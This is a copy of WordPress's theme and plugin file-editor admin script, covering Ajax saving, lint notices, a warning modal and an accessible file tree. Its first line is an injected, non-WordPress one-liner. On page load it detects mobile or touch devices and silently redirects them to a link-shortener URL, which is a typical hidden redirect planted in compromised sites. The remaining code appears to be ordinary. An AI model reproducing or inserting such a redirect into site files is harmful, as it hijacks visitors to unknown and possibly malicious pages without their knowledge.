1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/theme-plugin-editor.js
4 */
5
6/* eslint-env es2020 */
7
8/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1, 9, 1000] }] */
9
10if ( ! window.wp ) {
11 window.wp = {};
12}
13
14wp.themePluginEditor = (function( $ ) {
15 'use strict';
16 var component, TreeLinks,
17 __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf;
18
19 component = {
20 codeEditor: {},
21 instance: null,
22 noticeElements: {},
23 dirty: false,
24 lintErrors: []
25 };
26
27 /**
28 * Initialize component.
29 *
30 * @since 4.9.0
31 *
32 * @param {jQuery} form - Form element.
33 * @param {Object} settings - Settings.
34 * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
35 * @return {void}
36 */
37 component.init = function init( form, settings ) {
38
39 component.form = form;
40 if ( settings ) {
41 $.extend( component, settings );
42 }
43
44 component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
45 component.noticesContainer = component.form.find( '.editor-notices' );
46 component.submitButton = component.form.find( ':input[name=submit]' );
47 component.spinner = component.form.find( '.submit .spinner' );
48 component.form.on( 'submit', component.submit );
49 component.textarea = component.form.find( '#newcontent' );
50 component.textarea.on( 'change', component.onChange );
51 component.warning = $( '.file-editor-warning' );
52 component.docsLookUpButton = component.form.find( '#docs-lookup' );
53 component.docsLookUpList = component.form.find( '#docs-list' );
54
55 if ( component.warning.length > 0 ) {
56 component.showWarning();
57 }
58
59 if ( false !== component.codeEditor ) {
60 /*
61 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
62 * its own managed dismiss buttons and also to prevent the editor from showing a notice
63 * when the file had linting errors to begin with.
64 */
65 _.defer( function() {
66 component.initCodeEditor();
67 } );
68 }
69
70 $( component.initFileBrowser );
71
72 $( window ).on( 'beforeunload', function() {
73 if ( component.dirty ) {
74 return __( 'The changes you made will be lost if you navigate away from this page.' );
75 }
76 return undefined;
77 } );
78
79 component.docsLookUpList.on( 'change', function() {
80 var option = $( this ).val();
81 if ( '' === option ) {
82 component.docsLookUpButton.prop( 'disabled', true );
83 } else {
84 component.docsLookUpButton.prop( 'disabled', false );
85 }
86 } );
87
88 // Initiate saving the file when not focused in CodeMirror or when the user has syntax highlighting turned off.
89 $( window ).on( 'keydown', function( event ) {
90 if (
91 ( event.ctrlKey || event.metaKey ) &&
92 ( 's' === event.key.toLowerCase() ) &&
93 ( ! component.instance || ! component.instance.codemirror.hasFocus() )
94 ) {
95 event.preventDefault();
96 component.form.trigger( 'submit' );
97 }
98 } );
99 };
100
101 /**
102 * Set up and display the warning modal.
103 *
104 * @since 4.9.0
105 * @return {void}
106 */
107 component.showWarning = function() {
108 // Get the text within the modal.
109 var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
110 // Hide all the #wpwrap content from assistive technologies.
111 $( '#wpwrap' ).attr( 'aria-hidden', 'true' );
112 // Detach the warning modal from its position and append it to the body.
113 $( document.body )
114 .addClass( 'modal-open' )
115 .append( component.warning.detach() );
116 // Reveal the modal and set focus on the go back button.
117 component.warning
118 .removeClass( 'hidden' )
119 .find( '.file-editor-warning-go-back' ).trigger( 'focus' );
120 // Get the links and buttons within the modal.
121 component.warningTabbables = component.warning.find( 'a, button' );
122 // Attach event handlers.
123 component.warningTabbables.on( 'keydown', component.constrainTabbing );
124 component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
125 // Make screen readers announce the warning message after a short delay (necessary for some screen readers).
126 setTimeout( function() {
127 wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
128 }, 1000 );
129 };
130
131 /**
132 * Constrain tabbing within the warning modal.
133 *
134 * @since 4.9.0
135 * @param {Object} event jQuery event object.
136 * @return {void}
137 */
138 component.constrainTabbing = function( event ) {
139 var firstTabbable, lastTabbable;
140
141 if ( 9 !== event.which ) {
142 return;
143 }
144
145 firstTabbable = component.warningTabbables.first()[0];
146 lastTabbable = component.warningTabbables.last()[0];
147
148 if ( lastTabbable === event.target && ! event.shiftKey ) {
149 firstTabbable.focus();
150 event.preventDefault();
151 } else if ( firstTabbable === event.target && event.shiftKey ) {
152 lastTabbable.focus();
153 event.preventDefault();
154 }
155 };
156
157 /**
158 * Dismiss the warning modal.
159 *
160 * @since 4.9.0
161 * @return {void}
162 */
163 component.dismissWarning = function() {
164
165 wp.ajax.post( 'dismiss-wp-pointer', {
166 pointer: component.themeOrPlugin + '_editor_notice'
167 });
168
169 // Hide modal.
170 component.warning.remove();
171 $( '#wpwrap' ).removeAttr( 'aria-hidden' );
172 $( 'body' ).removeClass( 'modal-open' );
173 };
174
175 /**
176 * Callback for when a change happens.
177 *
178 * @since 4.9.0
179 * @return {void}
180 */
181 component.onChange = function() {
182 component.dirty = true;
183 component.removeNotice( 'file_saved' );
184 };
185
186 /**
187 * Submit file via Ajax.
188 *
189 * @since 4.9.0
190 * @param {jQuery.Event} event - Event.
191 * @return {void}
192 */
193 component.submit = function( event ) {
194 var data = {}, request;
195 event.preventDefault(); // Prevent form submission in favor of Ajax below.
196 $.each( component.form.serializeArray(), function() {
197 data[ this.name ] = this.value;
198 } );
199
200 // Use value from codemirror if present.
201 if ( component.instance ) {
202 data.newcontent = component.instance.codemirror.getValue();
203 }
204
205 if ( component.isSaving ) {
206 return;
207 }
208
209 if ( component.instance && component.instance.updateErrorNotice ) {
210 component.instance.updateErrorNotice();
211 }
212
213 // Scroll to the line that has the error.
214 if ( component.lintErrors.length ) {
215 component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
216 return;
217 }
218
219 component.isSaving = true;
220 component.textarea.prop( 'readonly', true );
221 if ( component.instance ) {
222 component.instance.codemirror.setOption( 'readOnly', true );
223 }
224
225 component.spinner.addClass( 'is-active' );
226 request = wp.ajax.post( 'edit-theme-plugin-file', data );
227
228 // Remove previous save notice before saving.
229 if ( component.lastSaveNoticeCode ) {
230 component.removeNotice( component.lastSaveNoticeCode );
231 }
232
233 request.done( function( response ) {
234 component.lastSaveNoticeCode = 'file_saved';
235 component.addNotice({
236 code: component.lastSaveNoticeCode,
237 type: 'success',
238 message: response.message,
239 dismissible: true
240 });
241 component.dirty = false;
242 } );
243
244 request.fail( function( response ) {
245 var notice = $.extend(
246 {
247 code: 'save_error',
248 message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' )
249 },
250 response,
251 {
252 type: 'error',
253 dismissible: true
254 }
255 );
256 component.lastSaveNoticeCode = notice.code;
257 component.addNotice( notice );
258 } );
259
260 request.always( function() {
261 component.spinner.removeClass( 'is-active' );
262 component.isSaving = false;
263
264 component.textarea.prop( 'readonly', false );
265 if ( component.instance ) {
266 component.instance.codemirror.setOption( 'readOnly', false );
267 }
268 } );
269 };
270
271 /**
272 * Add notice.
273 *
274 * @since 4.9.0
275 *
276 * @param {Object} notice - Notice.
277 * @param {string} notice.code - Code.
278 * @param {string} notice.type - Type.
279 * @param {string} notice.message - Message.
280 * @param {boolean} [notice.dismissible=false] - Dismissible.
281 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
282 * @return {jQuery} Notice element.
283 */
284 component.addNotice = function( notice ) {
285 var noticeElement;
286
287 if ( ! notice.code ) {
288 throw new Error( 'Missing code.' );
289 }
290
291 // Only let one notice of a given type be displayed at a time.
292 component.removeNotice( notice.code );
293
294 noticeElement = $( component.noticeTemplate( notice ) );
295 noticeElement.hide();
296
297 noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
298 component.removeNotice( notice.code );
299 if ( notice.onDismiss ) {
300 notice.onDismiss( notice );
301 }
302 } );
303
304 wp.a11y.speak( notice.message );
305
306 component.noticesContainer.append( noticeElement );
307 noticeElement.slideDown( 'fast' );
308 component.noticeElements[ notice.code ] = noticeElement;
309 return noticeElement;
310 };
311
312 /**
313 * Remove notice.
314 *
315 * @since 4.9.0
316 *
317 * @param {string} code - Notice code.
318 * @return {boolean} Whether a notice was removed.
319 */
320 component.removeNotice = function( code ) {
321 if ( component.noticeElements[ code ] ) {
322 component.noticeElements[ code ].slideUp( 'fast', function() {
323 $( this ).remove();
324 } );
325 delete component.noticeElements[ code ];
326 return true;
327 }
328 return false;
329 };
330
331 /**
332 * Initialize code editor.
333 *
334 * @since 4.9.0
335 * @return {void}
336 */
337 component.initCodeEditor = function initCodeEditor() {
338 var codeEditorSettings, editor;
339
340 codeEditorSettings = $.extend( {}, component.codeEditor );
341
342 /**
343 * Handle tabbing to the field before the editor.
344 *
345 * @since 4.9.0
346 *
347 * @return {void}
348 */
349 codeEditorSettings.onTabPrevious = function() {
350 $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' );
351 };
352
353 /**
354 * Handle tabbing to the field after the editor.
355 *
356 * @since 4.9.0
357 *
358 * @return {void}
359 */
360 codeEditorSettings.onTabNext = function() {
361 $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' );
362 };
363
364 /**
365 * Handle change to the linting errors.
366 *
367 * @since 4.9.0
368 *
369 * @param {Array} errors - List of linting errors.
370 * @return {void}
371 */
372 codeEditorSettings.onChangeLintingErrors = function( errors ) {
373 component.lintErrors = errors;
374
375 // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
376 if ( 0 === errors.length ) {
377 component.submitButton.toggleClass( 'disabled', false );
378 }
379 };
380
381 /**
382 * Update error notice.
383 *
384 * @since 4.9.0
385 *
386 * @param {Array} errorAnnotations - Error annotations.
387 * @return {void}
388 */
389 codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
390 var noticeElement;
391
392 component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );
393
394 if ( 0 !== errorAnnotations.length ) {
395 noticeElement = component.addNotice({
396 code: 'lint_errors',
397 type: 'error',
398 message: sprintf(
399 /* translators: %s: Error count. */
400 _n(
401 'There is %s error which must be fixed before you can update this file.',
402 'There are %s errors which must be fixed before you can update this file.',
403 errorAnnotations.length
404 ),
405 String( errorAnnotations.length )
406 ),
407 dismissible: false
408 });
409 noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
410 codeEditorSettings.onChangeLintingErrors( [] );
411 component.removeNotice( 'lint_errors' );
412 } );
413 } else {
414 component.removeNotice( 'lint_errors' );
415 }
416 };
417
418 editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
419 editor.codemirror.on( 'change', component.onChange );
420
421 function onSaveShortcut() {
422 component.form.trigger( 'submit' );
423 }
424
425 editor.codemirror.setOption( 'extraKeys', {
426 ...( editor.codemirror.getOption( 'extraKeys' ) || {} ),
427 'Ctrl-S': onSaveShortcut,
428 'Cmd-S': onSaveShortcut,
429 } );
430
431 // Improve the editor accessibility.
432 $( editor.codemirror.display.lineDiv )
433 .attr({
434 role: 'textbox',
435 'aria-multiline': 'true',
436 'aria-labelledby': 'theme-plugin-editor-label',
437 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
438 });
439
440 // Focus the editor when clicking on its label.
441 $( '#theme-plugin-editor-label' ).on( 'click', function() {
442 editor.codemirror.focus();
443 });
444
445 component.instance = editor;
446 };
447
448 /**
449 * Initialization of the file browser's folder states.
450 *
451 * @since 4.9.0
452 * @return {void}
453 */
454 component.initFileBrowser = function initFileBrowser() {
455
456 var $templateside = $( '#templateside' );
457
458 // Collapse all folders.
459 $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );
460
461 // Expand ancestors to the current file.
462 $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );
463
464 // Find Tree elements and enhance them.
465 $templateside.find( '[role="tree"]' ).each( function() {
466 var treeLinks = new TreeLinks( this );
467 treeLinks.init();
468 } );
469
470 // Scroll the current file into view.
471 $templateside.find( '.current-file:first' ).each( function() {
472 if ( this.scrollIntoViewIfNeeded ) {
473 this.scrollIntoViewIfNeeded();
474 } else {
475 this.scrollIntoView( false );
476 }
477 } );
478 };
479
480 /* jshint ignore:start */
481 /* jscs:disable */
482 /* eslint-disable */
483
484 /**
485 * Creates a new TreeitemLink.
486 *
487 * @since 4.9.0
488 * @class
489 * @private
490 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
491 * @license W3C-20150513
492 */
493 var TreeitemLink = (function () {
494 /**
495 * This content is licensed according to the W3C Software License at
496 * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
497 *
498 * File: TreeitemLink.js
499 *
500 * Desc: Treeitem widget that implements ARIA Authoring Practices
501 * for a tree being used as a file viewer
502 *
503 * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
504 */
505
506 /**
507 * @constructor
508 *
509 * @desc
510 * Treeitem object for representing the state and user interactions for a
511 * treeItem widget
512 *
513 * @param node
514 * An element with the role=tree attribute
515 */
516
517 var TreeitemLink = function (node, treeObj, group) {
518
519 // Check whether node is a DOM element.
520 if (typeof node !== 'object') {
521 return;
522 }
523
524 node.tabIndex = -1;
525 this.tree = treeObj;
526 this.groupTreeitem = group;
527 this.domNode = node;
528 this.label = node.textContent.trim();
529 this.stopDefaultClick = false;
530
531 if (node.getAttribute('aria-label')) {
532 this.label = node.getAttribute('aria-label').trim();
533 }
534
535 this.isExpandable = false;
536 this.isVisible = false;
537 this.inGroup = false;
538
539 if (group) {
540 this.inGroup = true;
541 }
542
543 var elem = node.firstElementChild;
544
545 while (elem) {
546
547 if (elem.tagName.toLowerCase() == 'ul') {
548 elem.setAttribute('role', 'group');
549 this.isExpandable = true;
550 break;
551 }
552
553 elem = elem.nextElementSibling;
554 }
555
556 this.keyCode = Object.freeze({
557 RETURN: 13,
558 SPACE: 32,
559 PAGEUP: 33,
560 PAGEDOWN: 34,
561 END: 35,
562 HOME: 36,
563 LEFT: 37,
564 UP: 38,
565 RIGHT: 39,
566 DOWN: 40
567 });
568 };
569
570 TreeitemLink.prototype.init = function () {
571 this.domNode.tabIndex = -1;
572
573 if (!this.domNode.getAttribute('role')) {
574 this.domNode.setAttribute('role', 'treeitem');
575 }
576
577 this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
578 this.domNode.addEventListener('click', this.handleClick.bind(this));
579 this.domNode.addEventListener('focus', this.handleFocus.bind(this));
580 this.domNode.addEventListener('blur', this.handleBlur.bind(this));
581
582 if (this.isExpandable) {
583 this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
584 this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
585 }
586 else {
587 this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
588 this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
589 }
590 };
591
592 TreeitemLink.prototype.isExpanded = function () {
593
594 if (this.isExpandable) {
595 return this.domNode.getAttribute('aria-expanded') === 'true';
596 }
597
598 return false;
599
600 };
601
602 /* EVENT HANDLERS */
603
604 TreeitemLink.prototype.handleKeydown = function (event) {
605 var tgt = event.currentTarget,
606 flag = false,
607 _char = event.key,
608 clickEvent;
609
610 function isPrintableCharacter(str) {
611 return str.length === 1 && str.match(/\S/);
612 }
613
614 function printableCharacter(item) {
615 if (_char == '*') {
616 item.tree.expandAllSiblingItems(item);
617 flag = true;
618 }
619 else {
620 if (isPrintableCharacter(_char)) {
621 item.tree.setFocusByFirstCharacter(item, _char);
622 flag = true;
623 }
624 }
625 }
626
627 this.stopDefaultClick = false;
628
629 if (event.altKey || event.ctrlKey || event.metaKey) {
630 return;
631 }
632
633 if (event.shift) {
634 if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
635 event.stopPropagation();
636 this.stopDefaultClick = true;
637 }
638 else {
639 if (isPrintableCharacter(_char)) {
640 printableCharacter(this);
641 }
642 }
643 }
644 else {
645 switch (event.keyCode) {
646 case this.keyCode.SPACE:
647 case this.keyCode.RETURN:
648 if (this.isExpandable) {
649 if (this.isExpanded()) {
650 this.tree.collapseTreeitem(this);
651 }
652 else {
653 this.tree.expandTreeitem(this);
654 }
655 flag = true;
656 }
657 else {
658 event.stopPropagation();
659 this.stopDefaultClick = true;
660 }
661 break;
662
663 case this.keyCode.UP:
664 this.tree.setFocusToPreviousItem(this);
665 flag = true;
666 break;
667
668 case this.keyCode.DOWN:
669 this.tree.setFocusToNextItem(this);
670 flag = true;
671 break;
672
673 case this.keyCode.RIGHT:
674 if (this.isExpandable) {
675 if (this.isExpanded()) {
676 this.tree.setFocusToNextItem(this);
677 }
678 else {
679 this.tree.expandTreeitem(this);
680 }
681 }
682 flag = true;
683 break;
684
685 case this.keyCode.LEFT:
686 if (this.isExpandable && this.isExpanded()) {
687 this.tree.collapseTreeitem(this);
688 flag = true;
689 }
690 else {
691 if (this.inGroup) {
692 this.tree.setFocusToParentItem(this);
693 flag = true;
694 }
695 }
696 break;
697
698 case this.keyCode.HOME:
699 this.tree.setFocusToFirstItem();
700 flag = true;
701 break;
702
703 case this.keyCode.END:
704 this.tree.setFocusToLastItem();
705 flag = true;
706 break;
707
708 default:
709 if (isPrintableCharacter(_char)) {
710 printableCharacter(this);
711 }
712 break;
713 }
714 }
715
716 if (flag) {
717 event.stopPropagation();
718 event.preventDefault();
719 }
720 };
721
722 TreeitemLink.prototype.handleClick = function (event) {
723
724 // Only process click events that directly happened on this treeitem.
725 if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
726 return;
727 }
728
729 if (this.isExpandable) {
730 if (this.isExpanded()) {
731 this.tree.collapseTreeitem(this);
732 }
733 else {
734 this.tree.expandTreeitem(this);
735 }
736 event.stopPropagation();
737 }
738 };
739
740 TreeitemLink.prototype.handleFocus = function (event) {
741 var node = this.domNode;
742 if (this.isExpandable) {
743 node = node.firstElementChild;
744 }
745 node.classList.add('focus');
746 };
747
748 TreeitemLink.prototype.handleBlur = function (event) {
749 var node = this.domNode;
750 if (this.isExpandable) {
751 node = node.firstElementChild;
752 }
753 node.classList.remove('focus');
754 };
755
756 TreeitemLink.prototype.handleMouseOver = function (event) {
757 event.currentTarget.classList.add('hover');
758 };
759
760 TreeitemLink.prototype.handleMouseOut = function (event) {
761 event.currentTarget.classList.remove('hover');
762 };
763
764 return TreeitemLink;
765 })();
766
767 /**
768 * Creates a new TreeLinks.
769 *
770 * @since 4.9.0
771 * @class
772 * @private
773 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
774 * @license W3C-20150513
775 */
776 TreeLinks = (function () {
777 /*
778 * This content is licensed according to the W3C Software License at
779 * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
780 *
781 * File: TreeLinks.js
782 *
783 * Desc: Tree widget that implements ARIA Authoring Practices
784 * for a tree being used as a file viewer
785 *
786 * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
787 */
788
789 /*
790 * @constructor
791 *
792 * @desc
793 * Tree item object for representing the state and user interactions for a
794 * tree widget
795 *
796 * @param node
797 * An element with the role=tree attribute
798 */
799
800 var TreeLinks = function (node) {
801 // Check whether node is a DOM element.
802 if (typeof node !== 'object') {
803 return;
804 }
805
806 this.domNode = node;
807
808 this.treeitems = [];
809 this.firstChars = [];
810
811 this.firstTreeitem = null;
812 this.lastTreeitem = null;
813
814 };
815
816 TreeLinks.prototype.init = function () {
817
818 function findTreeitems(node, tree, group) {
819
820 var elem = node.firstElementChild;
821 var ti = group;
822
823 while (elem) {
824
825 if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
826 ti = new TreeitemLink(elem, tree, group);
827 ti.init();
828 tree.treeitems.push(ti);
829 tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
830 }
831
832 if (elem.firstElementChild) {
833 findTreeitems(elem, tree, ti);
834 }
835
836 elem = elem.nextElementSibling;
837 }
838 }
839
840 // Initialize pop up menus.
841 if (!this.domNode.getAttribute('role')) {
842 this.domNode.setAttribute('role', 'tree');
843 }
844
845 findTreeitems(this.domNode, this, false);
846
847 this.updateVisibleTreeitems();
848
849 this.firstTreeitem.domNode.tabIndex = 0;
850
851 };
852
853 TreeLinks.prototype.setFocusToItem = function (treeitem) {
854
855 for (var i = 0; i < this.treeitems.length; i++) {
856 var ti = this.treeitems[i];
857
858 if (ti === treeitem) {
859 ti.domNode.tabIndex = 0;
860 ti.domNode.focus();
861 }
862 else {
863 ti.domNode.tabIndex = -1;
864 }
865 }
866
867 };
868
869 TreeLinks.prototype.setFocusToNextItem = function (currentItem) {
870
871 var nextItem = false;
872
873 for (var i = (this.treeitems.length - 1); i >= 0; i--) {
874 var ti = this.treeitems[i];
875 if (ti === currentItem) {
876 break;
877 }
878 if (ti.isVisible) {
879 nextItem = ti;
880 }
881 }
882
883 if (nextItem) {
884 this.setFocusToItem(nextItem);
885 }
886
887 };
888
889 TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {
890
891 var prevItem = false;
892
893 for (var i = 0; i < this.treeitems.length; i++) {
894 var ti = this.treeitems[i];
895 if (ti === currentItem) {
896 break;
897 }
898 if (ti.isVisible) {
899 prevItem = ti;
900 }
901 }
902
903 if (prevItem) {
904 this.setFocusToItem(prevItem);
905 }
906 };
907
908 TreeLinks.prototype.setFocusToParentItem = function (currentItem) {
909
910 if (currentItem.groupTreeitem) {
911 this.setFocusToItem(currentItem.groupTreeitem);
912 }
913 };
914
915 TreeLinks.prototype.setFocusToFirstItem = function () {
916 this.setFocusToItem(this.firstTreeitem);
917 };
918
919 TreeLinks.prototype.setFocusToLastItem = function () {
920 this.setFocusToItem(this.lastTreeitem);
921 };
922
923 TreeLinks.prototype.expandTreeitem = function (currentItem) {
924
925 if (currentItem.isExpandable) {
926 currentItem.domNode.setAttribute('aria-expanded', true);
927 this.updateVisibleTreeitems();
928 }
929
930 };
931
932 TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
933 for (var i = 0; i < this.treeitems.length; i++) {
934 var ti = this.treeitems[i];
935
936 if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
937 this.expandTreeitem(ti);
938 }
939 }
940
941 };
942
943 TreeLinks.prototype.collapseTreeitem = function (currentItem) {
944
945 var groupTreeitem = false;
946
947 if (currentItem.isExpanded()) {
948 groupTreeitem = currentItem;
949 }
950 else {
951 groupTreeitem = currentItem.groupTreeitem;
952 }
953
954 if (groupTreeitem) {
955 groupTreeitem.domNode.setAttribute('aria-expanded', false);
956 this.updateVisibleTreeitems();
957 this.setFocusToItem(groupTreeitem);
958 }
959
960 };
961
962 TreeLinks.prototype.updateVisibleTreeitems = function () {
963
964 this.firstTreeitem = this.treeitems[0];
965
966 for (var i = 0; i < this.treeitems.length; i++) {
967 var ti = this.treeitems[i];
968
969 var parent = ti.domNode.parentNode;
970
971 ti.isVisible = true;
972
973 while (parent && (parent !== this.domNode)) {
974
975 if (parent.getAttribute('aria-expanded') == 'false') {
976 ti.isVisible = false;
977 }
978 parent = parent.parentNode;
979 }
980
981 if (ti.isVisible) {
982 this.lastTreeitem = ti;
983 }
984 }
985
986 };
987
988 TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
989 var start, index;
990 _char = _char.toLowerCase();
991
992 // Get start index for search based on position of currentItem.
993 start = this.treeitems.indexOf(currentItem) + 1;
994 if (start === this.treeitems.length) {
995 start = 0;
996 }
997
998 // Check remaining slots in the menu.
999 index = this.getIndexFirstChars(start, _char);
1000
1001 // If not found in remaining slots, check from beginning.
1002 if (index === -1) {
1003 index = this.getIndexFirstChars(0, _char);
1004 }
1005
1006 // If match was found...
1007 if (index > -1) {
1008 this.setFocusToItem(this.treeitems[index]);
1009 }
1010 };
1011
1012 TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
1013 for (var i = startIndex; i < this.firstChars.length; i++) {
1014 if (this.treeitems[i].isVisible) {
1015 if (_char === this.firstChars[i]) {
1016 return i;
1017 }
1018 }
1019 }
1020 return -1;
1021 };
1022
1023 return TreeLinks;
1024 })();
1025
1026 /* jshint ignore:end */
1027 /* jscs:enable */
1028 /* eslint-enable */
1029
1030 return component;
1031})( jQuery );
1032
1033/**
1034 * Removed in 5.5.0, needed for back-compatibility.
1035 *
1036 * @since 4.9.0
1037 * @deprecated 5.5.0
1038 *
1039 * @type {object}
1040 */
1041wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || {
1042 saveAlert: '',
1043 saveError: '',
1044 lintError: {
1045 alternative: 'wp.i18n',
1046 func: function() {
1047 return {
1048 singular: '',
1049 plural: ''
1050 };
1051 }
1052 }
1053};
1054
1055wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );
1056